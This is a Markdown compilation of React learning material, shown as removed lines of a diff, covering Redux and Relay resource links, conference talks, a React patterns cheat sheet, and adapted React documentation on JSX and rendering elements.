-### Redux
-
-Predictable State Container for JavaScript Apps
-**Redux General Resources**
-
--   [Redux GitHub](https://github.com/reduxjs/redux)
--   [Redux Official Site](http://redux.js.org)
--   [Awesome Redux List](https://github.com/xgrommx/awesome-redux)
-
-#### **Redux Tools**
-
--   [react-redux](https://github.com/reduxjs/react-redux) - Official React bindings for Redux
--   [redux-toolkit](https://github.com/reduxjs/redux-toolkit) - The official, opinionated, batteries-included toolset for efficient Redux development
--   [redux-devtools](https://github.com/reduxjs/redux-devtools) - DevTools for Redux with hot reloading, action replay, and customizable UI
--   [reselect](https://github.com/reduxjs/reselect) - Selector library for Redux
--   [redux-thunk](https://github.com/reduxjs/redux-thunk) - Thunk middleware for redux
--   [redux-saga](https://github.com/redux-saga/redux-saga) - An alternative side effect model for Redux apps
--   [connected-react-router](https://github.com/supasate/connected-react-router) - A Redux binding for React Router
--   [redux-form](https://github.com/erikras/redux-form) - A Higher Order Component using react-redux to keep form state
--   [normalizr](https://github.com/paularmstrong/normalizr) - Normalizes nested JSON according to a schema
--   [redux-observable](https://github.com/redux-observable/redux-observable) - RxJS middleware for Redux
--   [redux-undo](https://github.com/omnidan/redux-undo) - Higher order reducer to add undo/redo functionality to redux state containers
--   [redux-persist](https://github.com/rt2zz/redux-persist) - Persist and rehydrate a redux store
-
-#### **Redux Tutorials**
-
--   [Redux Essentials](https://redux.js.org/tutorials/essentials/part-1-overview-concepts)
--   [Redux Fundamentals](https://redux.js.org/tutorials/fundamentals/part-1-overview)
--   [Fundamentals of Redux Course from Dan Abramov](https://app.egghead.io/playlists/fundamentals-of-redux-course-from-dan-abramov-bd5cc867)
--   [Building React Applications with Idiomatic Redux](https://app.egghead.io/courses/building-react-applications-with-idiomatic-redux)
-
-## Data-Driven React Applications
-
-**Relay General Resources**
-
--   [Relay Offical Site](https://relay.dev)
--   [Relay GitHub](https://github.com/facebook/relay)
-    **Relay Tutorials**
--   [Official Relay Getting Started](https://facebook.github.io/relay/docs/en/introduction-to-relay.html)
--   [Relay for Visual Learners](http://sgwilym.github.io/relay-visual-learners/)
--   [Getting Started with Relay](https://auth0.com/blog/2015/10/06/getting-started-with-relay/)
--   [Relay and Routing](https://medium.com/@cpojer/relay-and-routing-36b5439bad9)
-    **Relay Tools**
--   [graphql-relay-js](https://github.com/graphql/graphql-relay-js) - A library to help construct a graphql-js server supporting react-relay
--   [react-router-relay](https://github.com/relay-tools/react-router-relay) - Relay integration for React Router
--   [relay-local-schema](https://github.com/relay-tools/relay-local-schema) - Use Relay without a GraphQL server
--   [relay-codemod](https://github.com/facebook/jscodeshift) - Codemod scripts based for on jsodeshift to update Relay APIs
-
-### Videos
-
-#### **Reactjsvideos.com**
-
-**Important Talks**
-
--   [Pete Hunt: React: Rethinking best practices - JSConf EU 2013](https://www.youtube.com/watch?v=x7cQ3mrcKaY)
--   [Pete Hunt: React: Rethinking Best Practices (updated) - JSConf.Asia 2013](https://www.youtube.com/watch?v=DgVS-zXgMTk)
--   [Tom Occhino and Jordan Walke: JS Apps at Facebook - JSConfUS 2013](https://www.youtube.com/watch?v=GW0rj4sNH2w)
--   [React: CSS in JS](http://blog.vjeux.com/2014/javascript/react-css-in-js-nationjs.html)
--   [Pete Hunt: Be Predictable, Not Correct - Mountain West JavaScript 2014](https://www.youtube.com/watch?v=h3KksH8gfcQ)
--   [Hacker Way: Rethinking Web App Development at Facebook](https://www.youtube.com/watch?v=nYkdrAPrdcw)
--   [Christopher Chedeau: Why does React Scale? - JSConf2014](https://www.youtube.com/watch?v=D-ioDiacTm8)
--   [Christopher Chedeau: React's Architecture - OSCON 2014](https://www.youtube.com/watch?v=eCf5CquV_Bw)
--   [Pete Hunt: React RESTful UI Rendering - Strange Loop 2014](https://www.youtube.com/watch?v=IVvHPPcl2TM)
--   [Pete Hunt: How Instagram.com Works - OSCON 2014](https://www.youtube.com/watch?v=VkTCL6Nqm6Y)
--   [Bill Fisher and Jing Chen: React and Flux - NewCircle Training 2014](https://www.youtube.com/watch?v=i__969noyAM)
--   [Sebastian Markbage: Minimal API Surface Area - JSConf EU 2014](https://www.youtube.com/watch?v=4anAwXYqLG8)
--   [Avik Chaudhuri: JavaScript Testing and Static Type Systems at Scale - Scale 2014](https://www.youtube.com/watch?v=M8x0bc81smU)
--   [React Native & Relay: Bringing Modern Web Techniques to Mobile - f8 2015)](https://www.youtube.com/watch?v=X6YbAKiLCLU)
--   [Citrusbyte Presents GraphQL: A Horizontal Platform with Nick Schrock](https://www.youtube.com/watch?v=LQFQl8EsV3k)
--   [Laney Kuenzel: Mutations and Subscriptions in Relay - JSConf 2015](https://www.youtube.com/watch?v=mmke4w4gc6c)
--   [React Today and Tomorrow and 90% Cleaner React With Hooks - React Conf 2018](https://www.youtube.com/watch?v=dpw9EHDh2bM)
--   [React Conferences](https://reactjs.org/community/conferences.html)
--   [React Videos](https://reactjs.org/community/videos.html)
--   [Awesome React Talks](https://github.com/tiaanduplessis/awesome-react-talks)
-
--   [Trying React Hooks for the first time with Dan Abramov](https://www.youtube.com/watch?v=G-aO5hzo1aw)
-
-### Demo React Apps
-
--   [hackernews-react-graphql](https://github.com/clintonwoo/hackernews-react-graphql) - Hacker News clone rewritten with universal JavaScript, using React and GraphQL
--   [react-reduction](https://github.com/reduction-admin/react-reduction) - Free Admin Template Built with React and Bootstrap4
--   [reactjs-tmdb-app](https://github.com/SKempin/reactjs-tmdb-app) - Responsive React The Movie Database App
--   [react-shopping-cart](https://github.com/jeffersonRibeiro/react-shopping-cart) - Simple ecommerce cart application built with React Redux
-
----
-
-### Real React Apps
-
--   [kibana](https://github.com/elastic/kibana) - Your window into the Elastic Stack
--   [firefox debugger](https://github.com/firefox-devtools/debugger) - The Firefox debugger that works anywhere
--   [spectrum](https://github.com/withspectrum/spectrum) Simple, powerful online communities
--   [mattermost](https://github.com/mattermost/mattermost-webapp) - Open source Slack alternative
--   [overreacted](https://github.com/gaearon/overreacted.io) - Personal blog by Dan Abramov
--   [winamp2-js](https://github.com/captbaritone/winamp2-js) - Winamp 2 reimplemented for the browser
--   [dnote](https://github.com/dnote/dnote) - A command line notebook with multi-device sync and web interface
-
-</details>
-
----
-
----
-
-# Actual Cheat Sheet:
-
-# React Patterns
-
-## Element (**element**)
-
-[Elements](https://reactjs.org/docs/glossary.html#elements) are anything inside angle brackets.
-
-```js
-<div></div>
-<Greeting />
-```
-
-[Components](#component) return Elements.
-
-## Component (**component**)
-
-Define a [Component](https://reactjs.org/docs/glossary.html#components) by declaring a function that returns a React [Element](#element).
-
----
-
-```js
-function Greeting() {
-    return <div>Hi there!</div>;
-}
-```
-
-## Expressions (**expressions**)
-
-Use curly braces to [embed expressions](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) in [JSX](https://reactjs.org/docs/glossary.html#jsx).
-
----
-
-```js
-function Greeting() {
-    let name = 'chantastic';
-
-    return <div>Hi {name}!</div>;
-}
-```
-
-## Props (**props**)
-
-Take `props` as an argument to allow outside customizations of your Component.
-
----
-
-```js
-function Greeting(props) {
-    return <div>Hi {props.name}!</div>;
-}
-```
-
-## defaultProps (**defaultprops**)
-
-Specify default values for `props` with `defaultProps`.
-
----
-
-```js
-function Greeting(props) {
-    return <div>Hi {props.name}!</div>;
-}
-Greeting.defaultProps = {
-    name: 'Guest'
-};
-```
-
----
-
-## Destructuring props (**destructuring-props**)
-
-[Destructuring assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment) is a JavaScript feature.\
-It was added to the language in ES2015.\
-So it might not look familiar.
-
-Think of it like the opposite of literal assignment.
-
-```js
-let person = { name: 'chantastic' };
-let { name } = person;
-```
-
-Works with Arrays too.
-
-```js
-let things = ['one', 'two'];
-let [first, second] = things;
-```
-
-Destructuring assignment is used a lot in [function components](#function-component).\
-These component declarations below are equivalent.
-
----
-
-```js
-function Greeting(props) {
-    return <div>Hi {props.name}!</div>;
-}
-
-function Greeting({ name }) {
-    return <div>Hi {name}!</div>;
-}
-```
-
-There's a syntax for collecting remaining `props` into an object.\
-It's called [rest parameter syntax](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters) and looks like this.
-
----
-
-```js
-function Greeting({ name, ...restProps }) {
-    return <div>Hi {name}!</div>;
-}
-```
-
-Those three dots (`...`) take all the remaining properties and assign them to the object `restProps`.
-
-So, what do you do with `restProps` once you have it?\
-Keep reading...
-
----
-
-## JSX spread attributes (**jsx-spread-attributes**)
-
-Spread Attributes is a feature of [JSX](https://reactjs.org/docs/introducing-jsx.html).\
-It's a syntax for providing an object's properties as JSX attributes.
-
-Following the example from [Destructuring props](#destructuring-props),\
-We can **spread** `restProps` over our `<div>`.
-
----
-
-```js
-function Greeting({ name, ...restProps }) {
-    return <div {...restProps}>Hi {name}!</div>;
-}
-```
-
-This makes `Greeting` super flexible.\
-We can pass DOM attributes to `Greeting` and trust that they'll be passed through to `div`.
-
-```js
-<Greeting name="Fancy pants" className="fancy-greeting" id="user-greeting" />
-```
-
-Avoid forwarding non-DOM `props` to components.\
-Destructuring assignment is popular because it gives you a way to separate component-specific props from DOM/platform-specific attributes.
-
----
-
-```js
-function Greeting({ name, ...platformProps }) {
-    return <div {...platformProps}>Hi {name}!</div>;
-}
-```
-
----
-
-## Merge destructured props with other values (**merge-destructured-props-with-other-values**)
-
-Components are abstractions.\
-Good abstractions allow for extension.
-
-Consider this component that uses a `class` attribute for style a `button`.
-
----
-
-```js
-function MyButton(props) {
-    return <button className="btn" {...props} />;
-}
-```
-
-This works great until we try to extend it with another class.
-
-```js
-<MyButton className="delete-btn">Delete...</MyButton>
-```
-
-In this case, `delete-btn` replaces `btn`.
-
-Order matters for [JSX spread attributes](#jsx-spread-attributes).\
-The `props.className` being spread is overriding the `className` in our component.
-
-We can change the order but now the `className` will **never** be anything but `btn`.
-
----
-
-```js
-function MyButton(props) {
-    return <button {...props} className="btn" />;
-}
-```
-
-We need to use destructuring assignment to get the incoming `className` and merge with the base `className`.\
-We can do this simply by adding all values to an array and joining them with a space.
-
----
-
-```js
-function MyButton({ className, ...props }) {
-    let classNames = ['btn', className].join(' ');
-
-    return <button className={classNames} {...props} />;
-}
-```
-
-To guard from `undefined` showing up as a className, you could update your logic to filter out `falsy` values:
-
----
-
-```js
-function MyButton({ className, ...props }) {
-    let classNames = ['btn', className].filter(Boolean).join(' ').trim();
-
-    return <button className={classNames} {...props} />;
-}
-```
-
-Bear in mind though that if an empty object is passed it'll be included in the class as well, resulting in: `btn [object Object]`.
-
-The better approach is to make use of available packages, like [classnames](https://www.npmjs.com/package/classnames) or [clsx](https://www.npmjs.com/package/clsx), that could be used to join classnames, relieving you from having to deal with it manually.
-
-## Conditional rendering (**conditional-rendering**)
-
-You can't use if/else statements inside a component declarations.\
-So [conditional (ternary) operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) and [short-circuit evaluation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Short-circuit_evaluation) are your friends.
-
-### `if` (**if**)
-
-```js
-{
-    condition && <span>Rendered when `truthy`</span>;
-}
-```
-
-### `unless` (**unless**)
-
-```js
-{
-    condition || <span>Rendered when `falsy`</span>;
-}
-```
-
-### `if-else` (**if-else**)
-
-```js
-{
-    condition ? <span>Rendered when `truthy`</span> : <span>Rendered when `falsy`</span>;
-}
-```
-
-## Children types (**children-types**)
-
-React can render `children` from most types.\
-In most cases it's either an `array` or a `string`.
-
-### `String` (**string**)
-
-```js
-<div>Hello World!</div>
-```
-
-### `Array` (**array**)
-
-```js
-<div>{['Hello ', <span>World</span>, '!']}</div>
-```
-
-## Array as children (**array-as-children**)
-
-Providing an array as `children` is a very common.\
-It's how lists are drawn in React.
-
-We use `map()` to create an array of React Elements for every value in the array.
-
-```js
-<ul>
-    {['first', 'second'].map((item) => (
-        <li>{item}</li>
-    ))}
-</ul>
-```
-
-That's equivalent to providing a literal `array`.
-
-```js
-<ul>{[<li>first</li>, <li>second</li>]}</ul>
-```
-
-This pattern can be combined with destructuring, JSX Spread Attributes, and other components, for some serious terseness.
-
-```js
-<ul>
-    {arrayOfMessageObjects.map(({ id, ...message }) => (
-        <Message key={id} {...message} />
-    ))}
-</ul>
-```
-
-## Function as children (**function-as-children**)
-
-React components don't support functions as `children`.\
-However, [render props](#render-prop) is a pattern for creating components that take functions as children.
-
-## Render prop (**render-prop**)
-
-Here's a component that uses a render callback.\
-It's not useful, but it's an easy illustration to start with.
-
-```js
-const Width = ({ children }) => children(500);
-```
-
-The component calls `children` as a function, with some number of arguments. Here, it's the number `500`.
-
-To use this component, we give it a [function as `children`](#function-as-children).
-
-```js
-<Width>{(width) => <div>window is {width}</div>}</Width>
-```
-
-We get this output.
-
-```js
-<div>window is 500</div>
-```
-
-With this setup, we can use this `width` to make rendering decisions.
-
-```js
-<Width>{(width) => (width > 600 ? <div>min-width requirement met!</div> : null)}</Width>
-```
-
-If we plan to use this condition a lot, we can define another components to encapsulate the reused logic.
-
-```js
-const MinWidth = ({ width: minWidth, children }) => <Width>{(width) => (width > minWidth ? children : null)}</Width>;
-```
-
-Obviously a static `Width` component isn't useful but one that watches the browser window is. Here's a sample implementation.
-
-```js
-class WindowWidth extends React.Component {
-    constructor() {
-        super();
-        this.state = { width: 0 };
-    }
-
-    componentDidMount() {
-        this.setState({ width: window.innerWidth }, () => window.addEventListener('resize', ({ target }) => this.setState({ width: target.innerWidth })));
-    }
-
-    render() {
-        return this.props.children(this.state.width);
-    }
-}
-```
-
-Many developers favor [Higher Order Components](#higher-order-component) for this type of functionality. It's a matter of preference.
-
-## Children pass-through (**children-pass-through**)
-
-You might create a component designed to apply `context` and render its `children`.
-
-```js
-class SomeContextProvider extends React.Component {
-    getChildContext() {
-        return { some: 'context' };
-    }
-
-    render() {
-        // how best do we return `children`?
-    }
-}
-```
-
-You're faced with a decision. Wrap `children` in an extraneous `<div />` or return `children` directly. The first options gives you extra markup (which can break some stylesheets). The second will result in unhelpful errors.
-
-```
-// option 1: extra div
-return <div>{children}</div>;
-
-// option 2: unhelpful errors
-return children;
-```
-
-It's best to treat `children` as an opaque data type. React provides `React.Children` for dealing with `children` appropriately.
-
-```
-return React.Children.only(this.props.children);
-```
-
-## Proxy component (**proxy-component**)
-
-_(I'm not sure if this name makes sense)_
-
-Buttons are everywhere in web apps. And every one of them must have the `type` attribute set to "button".
-
-```js
-<button type="button">
-```
-
-Writing this attribute hundreds of times is error prone. We can write a higher level component to proxy `props` to a lower-level `button` component.
-
-```js
-const Button = props =>
-  <button type="button" {...props}>
-```
-
-We can use `Button` in place of `button` and ensure that the `type` attribute is consistently applied everywhere.
-
-```js
-<Button />
-// <button type="button"><button>
-
-<Button className="CTA">Send Money</Button>
-// <button type="button" class="CTA">Send Money</button>
-```
-
-## Style component (**style-component**)
-
-This is a [Proxy component](#proxy-component) applied to the practices of style.
-
-Say we have a button. It uses classes to be styled as a "primary" button.
-
-```js
-<button type="button" className="btn btn-primary">
-```
-
-We can generate this output using a couple single-purpose components.
-
-```js
-import classnames from 'classnames';
-
-const PrimaryBtn = (props) => <Btn {...props} primary />;
-
-const Btn = ({ className, primary, ...props }) => <button type="button" className={classnames('btn', primary && 'btn-primary', className)} {...props} />;
-```
-
-It can help to visualize this.
-
-```js
-PrimaryBtn()
-  ↳ Btn({primary: true})
-    ↳ Button({className: "btn btn-primary"}, type: "button"})
-      ↳ '<button type="button" class="btn btn-primary"></button>'
-```
-
-Using these components, all of these result in the same output.
-
-```js
-<PrimaryBtn />
-<Btn primary />
-<button type="button" className="btn btn-primary" />
-```
-
-This can be a huge boon to style maintenance. It isolates all concerns of style to a single component.
-
-## Event switch (**event-switch**)
-
-When writing event handlers it's common to adopt the `handle{eventName}` naming convention.
-
-```js
-handleClick(e) { /* do something */ }
-```
-
-For components that handle several event types, these function names can be repetitive. The names themselves might not provide much value, as they simply proxy to other actions/functions.
-
-```js
-handleClick() { require("./actions/doStuff")(/* action stuff */) }
-handleMouseEnter() { this.setState({ hovered: true }) }
-handleMouseLeave() { this.setState({ hovered: false }) }
-```
-
-Consider writing a single event handler for your component and switching on `event.type`.
-
-```js
-handleEvent({type}) {
-  switch(type) {
-    case "click":
-      return require("./actions/doStuff")(/* action dates */)
-    case "mouseenter":
-      return this.setState({ hovered: true })
-    case "mouseleave":
-      return this.setState({ hovered: false })
-    default:
-      return console.warn(`No case for event type "${type}"`)
-  }
-}
-```
-
-Alternatively, for simple components, you can call imported actions/functions directly from components, using arrow functions.
-
-```js
-<div onClick={() => someImportedAction({ action: "DO_STUFF" })}
-```
-
-Don't fret about performance optimizations until you have problems. Seriously don't.
-
-## Layout component (**layout-component**)
-
-Layout components result in some form of static DOM element. It might not need to update frequently, if ever.
-
-Consider a component that renders two `children` side-by-side.
-
-```js
-<HorizontalSplit startSide={<SomeSmartComponent />} endSide={<AnotherSmartComponent />} />
-```
-
-We can aggressively optimize this component.
-
-While `HorizontalSplit` will be `parent` to both components, it will never be their `owner`. We can tell it to update never, without interrupting the lifecycle of the components inside.
-
-```js
-class HorizontalSplit extends React.Component {
-    shouldComponentUpdate() {
-        return false;
-    }
-
-    render() {
-        return (
-            <FlexContainer>
-                <div>{this.props.startSide}</div>
-                <div>{this.props.endSide}</div>
-            </FlexContainer>
-        );
-    }
-}
-```
-
-## Container component (**container-component**)
-
-"A container does data fetching and then renders its corresponding sub-component. That's it."---[Jason Bonta](https://twitter.com/jasonbonta**)
-
-Given this reusable `CommentList` component.
-
-```js
-const CommentList = ({ comments }) => (
-    <ul>
-        {comments.map((comment) => (
-            <li>
-                {comment.body}-{comment.author}
-            </li>
-        ))}
-    </ul>
-);
-```
-
-We can create a new component responsible for fetching data and rendering the `CommentList` function component.
-
-```js
-class CommentListContainer extends React.Component {
-  constructor() {
-    super()
-    this.state = { comments: [] }
-  }
-
-  componentDidMount() {
-    $.ajax({
-      url: "/my-comments.json",
-      dataType: 'json',
-      success: comments =>
-        this.setState({comments: comments});
-    })
-  }
-
-  render() {
-    return <CommentList comments={this.state.comments} />
-  }
-}
-```
-
-We can write different containers for different application contexts.
-
-## Higher-order component (**higher-order-component**)
-
-A [higher-order function](https://en.wikipedia.org/wiki/Higher-order_function) is a function that takes and/or returns a function. It's not more complicated than that. So, what's a higher-order component?
-
-If you're already using [container components](#container-component), these are just generic containers, wrapped up in a function.
-
-Let's start with our `Greeting` component.
-
-```js
-const Greeting = ({ name }) => {
-    if (!name) {
-        return <div>Connecting...</div>;
-    }
-
-    return <div>Hi {name}!</div>;
-};
-```
-
-If it gets `props.name`, it's gonna render that data. Otherwise it'll say that it's "Connecting...". Now for the the higher-order bit.
-
-```js
-const Connect = (ComposedComponent) =>
-    class extends React.Component {
-        constructor() {
-            super();
-            this.state = { name: '' };
-        }
-
-        componentDidMount() {
-            // this would fetch or connect to a store
-            this.setState({ name: 'Michael' });
-        }
-
-        render() {
-            return <ComposedComponent {...this.props} name={this.state.name} />;
-        }
-    };
-```
-
-This is just a function that returns component that renders the component we passed as an argument.
-
-Last step, we need to wrap our `Greeting` component in `Connect`.
-
-```js
-const ConnectedMyComponent = Connect(Greeting);
-```
-
-This is a powerful pattern for providing fetching and providing data to any number of [function components](#function-component).
-
-## State hoisting (**state-hoisting**)
-
-[function-component](#function-component) don't hold state (as the name implies).
-
-Events are changes in state.\
-Their data needs to be passed to stateful [container components](#container-component) parents.
-
-This is called "state hoisting".\
-It's accomplished by passing a callback from a container component to a child component.
-
-```js
-class NameContainer extends React.Component {
-    render() {
-        return <Name onChange={(newName) => alert(newName)} />;
-    }
-}
-
-const Name = ({ onChange }) => <input onChange={(e) => onChange(e.target.value)} />;
-```
-
-`Name` receives an `onChange` callback from `NameContainer` and calls on events.
-
-The `alert` above makes for a terse demo but it's not changing state.\
-Let's change the internal state of `NameContainer`.
-
-```js
-class NameContainer extends React.Component {
-    constructor() {
-        super();
-        this.state = { name: '' };
-    }
-
-    render() {
-        return <Name onChange={(newName) => this.setState({ name: newName })} />;
-    }
-}
-```
-
-The state is _hoisted_ to the container, by the provided callback, where it's used to update local state.\
-This sets a nice clear boundary and maximizes the re-usability of function component.
-
-This pattern isn't limited to function components.\
-Because function components don't have lifecycle events,\
-you'll use this pattern with component classes as well.
-
-_[Controlled input](#controlled-input) is an important pattern to know for use with state hoisting_
-
-_(It's best to process the event object on the stateful component)_
-
-## Controlled input (**controlled-input**)
-
-It's hard to talk about controlled inputs in the abstract.\
-Let's start with an uncontrolled (normal) input and go from there.
-
-```js
-<input type="text" />
-```
-
-When you fiddle with this input in the browser, you see your changes.\
-This is normal.
-
-A controlled input disallows the DOM mutations that make this possible.\
-You set the `value` of the input in component-land and it doesn't change in DOM-land.
-
-```js
-<input type="text" value="This won't change. Try it." />
-```
-
-Obviously static inputs aren't very useful to your users.\
-So, we derive a `value` from state.
-
-```js
-class ControlledNameInput extends React.Component {
-    constructor() {
-        super();
-        this.state = { name: '' };
-    }
-
-    render() {
-        return <input type="text" value={this.state.name} />;
-    }
-}
-```
-
-Then, changing the input is a matter of changing component state.
-
-```js
-return <input value={this.state.name} onChange={(e) => this.setState({ name: e.target.value })} />;
-```
-
-This is a controlled input.\
-It only updates the DOM when state has changed in our component.\
-This is invaluable when creating consistent UIs.
-
----
-
----
-
-## **Hello World**
-
-## The smallest React example looks like this:
-
-```js
-ReactDOM.render(<h1>Hello, world!</h1>, document.getElementById('root'));
-```
-
-It displays a heading saying "Hello, world!" on the page.
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/hello-world"></iframe>
-
-{% embed url="https://codepen.io/bgoonz/pen/wveBJBM" %}
-
-## <iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/wveBJBM"></iframe>
-
----
-
-### **Introducing JSX**
-
----
-
-### Consider this variable declaration:
-
-```js
-const element = <h1>Hello, world!</h1>;
-```
-
--   This funny tag syntax is neither a string nor HTML.
-
-It is called JSX, and it is a syntax extension to JavaScript. We recommend using it with React to describe what the UI should look like. JSX may remind you of a template language, but it comes with the full power of JavaScript.
-
-JSX produces React "elements". We will explore rendering them to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html). Below, you can find the basics of JSX necessary to get you started.
-
----
-
----
-
-### Why JSX?
-
-React embraces the fact that rendering logic is inherently coupled with other UI logic: how events are handled, how the state changes over time, and how the data is prepared for display.
-
-Instead of artificially separating _technologies_ by putting markup and logic in separate files, React [separates _concerns_](https://en.wikipedia.org/wiki/Separation_of_concerns) with loosely coupled units called "components" that contain both. We will come back to components in a [further section](https://reactjs.org/docs/components-and-props.html), but if you're not yet comfortable putting markup in JS, [this talk](https://www.youtube.com/watch?v=x7cQ3mrcKaY) might convince you otherwise.
-
-React [doesn't require](https://reactjs.org/docs/react-without-jsx.html) using JSX, but most people find it helpful as a visual aid when working with UI inside the JavaScript code. It also allows React to show more useful error and warning messages.
-
-With that out of the way, let's get started!
-
----
-
----
-
-### Embedding Expressions in JSX
-
-> -   In the example below, we declare a variable called `name` and then use it inside JSX by wrapping it in curly braces:
-
-```js
-const name = 'Josh Perez';
-const element = <h1>Hello, {name}</h1>;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-You can put any valid [JavaScript expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions) inside the curly braces in JSX. ##### For example, `2 + 2`, `user.firstName`, or `formatName(user)` are all valid JavaScript expressions.
-
-> -   In the example below, we embed the result of calling a JavaScript function, `formatName(user)`, into an `<h1>` element.
-
----
-
-```js
-function formatName(user) {
-    return user.firstName + ' ' + user.lastName;
-}
-
-const user = {
-    firstName: 'Harper',
-    lastName: 'Perez'
-};
-
-const element = <h1> Hello, {formatName(user)}! </h1>;
-
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/introducing-jsx"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_oNwgZgm)**](https://codepen.io/bgoonz/pen/oNwgZgm)
-
-##### We split JSX over multiple lines for readability. While it isn't required, when doing this, we also recommend wrapping it in parentheses to avoid the pitfalls of [automatic semicolon insertion](https://stackoverflow.com/q/2846283).
-
----
-
----
-
-### JSX is an Expression Too
-
-After compilation, JSX expressions become regular JavaScript function calls and evaluate to JavaScript objects.
-
-This means that you can use JSX inside of `if` statements and `for` loops, assign it to variables, accept it as arguments, and return it from functions:
-
----
-
-```js
-function getGreeting(user) {
-    if (user) {
-        return <h1>Hello, {formatName(user)}!</h1>;
-    }
-    return <h1>Hello, Stranger.</h1>;
-}
-```
-
----
-
----
-
-### Specifying Attributes with JSX
-
-You may use quotes to specify string literals as attributes:
-
-```js
-const element = <div tabIndex="0"></div>;
-```
-
-You may also use curly braces to embed a JavaScript expression in an attribute:
-
-```js
-const element = <img src={user.avatarUrl}></img>;
-```
-
-Don't put quotes around curly braces when embedding a JavaScript expression in an attribute. You should either use quotes (for string values) or curly braces (for expressions), but not both in the same attribute.
-
-> Warning:Since JSX is closer to JavaScript than to HTML, React DOM uses camelCase property naming convention instead of HTML attribute names.##### For example, class becomes className in JSX, and tabindex becomes tabIndex.
-
----
-
----
-
-### Specifying Children with JSX
-
-If a tag is empty, you may close it immediately with `/>`, like XML:
-
-```js
-const element = <img src={user.avatarUrl} />;
-```
-
-JSX tags may contain children:
-
-```js
-const element = (
-    <div>
-        <h1>Hello!</h1>
-        <h2>Good to see you here.</h2>
-    </div>
-);
-```
-
----
-
----
-
-### JSX Prevents Injection Attacks
-
-It is safe to embed user input in JSX:
-
-```js
-const title = response.potentiallyMaliciousInput;
-// This is safe:
-const element = <h1>{title}</h1>;
-```
-
-By default, React DOM [escapes](https://stackoverflow.com/questions/7381974/which-characters-need-to-be-escaped-on-html) any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything that's not explicitly written in your application. Everything is converted to a string before being rendered. This helps prevent [XSS (cross-site-scripting)](https://en.wikipedia.org/wiki/Cross-site_scripting) attacks.
-
----
-
----
-
-### JSX Represents Objects
-
-Babel compiles JSX down to `React.createElement()` calls.
-
-These two examples are identical:
-
-```js
-const element = <h1 className="greeting">Hello, world!</h1>;
-```
-
-```
-const element = React.createElement(
-  'h1',
-  {className: 'greeting'},
-  'Hello, world!'
-);
-```
-
-`React.createElement()` performs a few checks to help you write bug-free code but essentially it creates an object like this:
-
-```js
-// Note: this structure is simplified
-const element = {
-    type: 'h1',
-    props: {
-        className: 'greeting',
-        children: 'Hello, world!'
-    }
-};
-```
-
--   These objects are called "React elements". You can think of them as descriptions of what you want to see on the screen. React reads these objects and uses them to construct the DOM and keep it up to date.
-
-##### We will explore rendering React elements to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html).
-
-> Tip:We recommend using the "Babel" language definition for your editor of choice so that both ES6 and JSX code is properly highlighted.
-
----
-
----
-
-### **Rendering Elements**
-
----
-
-### Elements are the smallest building blocks of React apps.
-
-An element describes what you want to see on the screen:
-
-`const element = <h1>Hello, world</h1>;`
-
-Unlike browser DOM elements, React elements are plain objects, and are cheap to create. React DOM takes care of updating the DOM to match the React elements.
-
-> Note:One might confuse elements with a more widely known concept of "components". We will introduce components in the next section. Elements are what components are "made of", and we encourage you to read this section before jumping ahead.
-
----
-
----
-
-### Rendering an Element into the DOM
-
-Let's say there is a `<div>` somewhere in your HTML file:
-
-```js
-<div id="root"></div>
-```
-
-##### We call this a "root" DOM node because everything inside it will be managed by React DOM.
-
-Applications built with just React usually have a single root DOM node. If you are integrating React into an existing app, you may have as many isolated root DOM nodes as you like.
-
-To render a React element into a root DOM node, pass both to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)`:
-
-```js
-const element = <h1>Hello, world</h1>;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/rendering-elements/render-an-element"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_mdwyWeb?editors=0010)**](https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010)
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010"></iframe>
-
-It displays "Hello, world" on the page.
-
----
-
----
-
-### Updating the Rendered Element
-
-React elements are [immutable](https://en.wikipedia.org/wiki/Immutable_object). Once you create an element, you can't change its children or attributes. An element is like a single frame in a movie: it represents the UI at a certain point in time.
-
-With our knowledge so far, the only way to update the UI is to create a new element, and pass it to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)`.
-
-Consider this ticking clock example:
-
----
-
-```js
-function tick() {
-    const element = (
-        <div>
-            {' '}
-            <h1>Hello, world!</h1> <h2>It is {new Date().toLocaleTimeString()}.</h2>{' '}
-        </div>
-    );
-    ReactDOM.render(element, document.getElementById('root'));
-}
-
-setInterval(tick, 1000);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element"></iframe>
-
-[**TRY IT ON CODEPEN \_**(pen=**\_eYRmvNy?editors=0010)**](https://codepen.io/bgoonz/pen/eYRmvNy?editors=0010)
-
-It calls `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)` every second from a `[setInterval()](<https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval>)` callback.
-
-> Note:In practice, most React apps only call ReactDOM.render() once. In the next sections we will learn how such code gets encapsulated into stateful components.We recommend that you don't skip topics because they build on each other.
-
----
-
----
-
-### React Only Updates What's Necessary
-
-React DOM compares the element and its children to the previous one, and only applies the DOM updates necessary to bring the DOM to the desired state.
-
